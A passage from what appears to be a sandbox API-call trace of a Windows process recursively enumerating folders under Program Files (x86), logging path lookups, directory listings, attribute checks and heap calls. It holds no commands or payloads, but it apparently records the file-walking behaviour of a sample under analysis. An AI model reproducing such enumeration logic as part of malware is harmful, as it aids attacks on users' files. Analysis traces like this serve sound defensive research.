lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll", lpFilePart=0x9bada4*="PhotoAcq.dll") returned 0x38 [0230.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0230.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0230.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0230.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0230.784] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll", lpFilePart=0x9bada4*="PhotoBase.dll") returned 0x39 [0230.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0230.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0230.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.785] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll", lpFilePart=0x9bada4*="PhotoViewer.dll") returned 0x3b [0230.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0230.785] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0230.785] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.785] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4094d875, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0230.786] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0230.786] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0230.786] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0230.786] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0230.786] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui")) returned 0x20 [0230.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0230.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0230.787] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoacq.dll.mui")) returned 0x20 [0230.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0230.789] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\photoviewer.dll.mui")) returned 0x20 [0230.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0230.789] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFilePart=0x9bada4*="ImagingDevices.exe.mui") returned 0x48 [0230.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0230.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0230.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0230.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0230.790] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFilePart=0x9bada4*="PhotoAcq.dll.mui") returned 0x42 [0230.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0230.790] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", lpFilePart=0x9bada4*="PhotoViewer.dll.mui") returned 0x45 [0230.790] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0230.791] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.791] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0230.791] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0230.791] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0230.791] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" (normalized: "c:\\program files (x86)\\windows portable devices\\sqmapi.dll")) returned 0x20 [0230.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0230.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0230.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0230.792] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll", lpFilePart=0x9bada4*="sqmapi.dll") returned 0x3a [0230.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0230.792] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0230.792] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.793] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0230.793] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0230.793] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0230.793] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0230.793] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets")) returned 0x10 [0230.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0230.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0230.794] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets")) returned 0x10 [0230.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0230.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0230.794] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0230.794] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.795] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.795] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0230.795] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0230.795] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.795] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.795] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0230.796] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0230.796] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.796] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0230.796] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Modules", cAlternateFileName="")) returned 1 [0230.796] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Modules", cAlternateFileName="")) returned 0 [0230.797] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0230.797] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration" (normalized: "c:\\program files (x86)\\windowspowershell\\configuration")) returned 0x14 [0230.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0230.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0230.836] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0230.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0230.837] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0230.837] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c737, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.837] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0230.837] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Schema", cAlternateFileName="")) returned 1 [0230.838] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Schema", cAlternateFileName="")) returned 0 [0230.838] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0230.838] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration" (normalized: "c:\\program files (x86)\\windowspowershell\\configuration\\registration")) returned 0x14 [0230.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0230.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0230.838] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema" (normalized: "c:\\program files (x86)\\windowspowershell\\configuration\\schema")) returned 0x14 [0230.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0230.839] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Registration\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 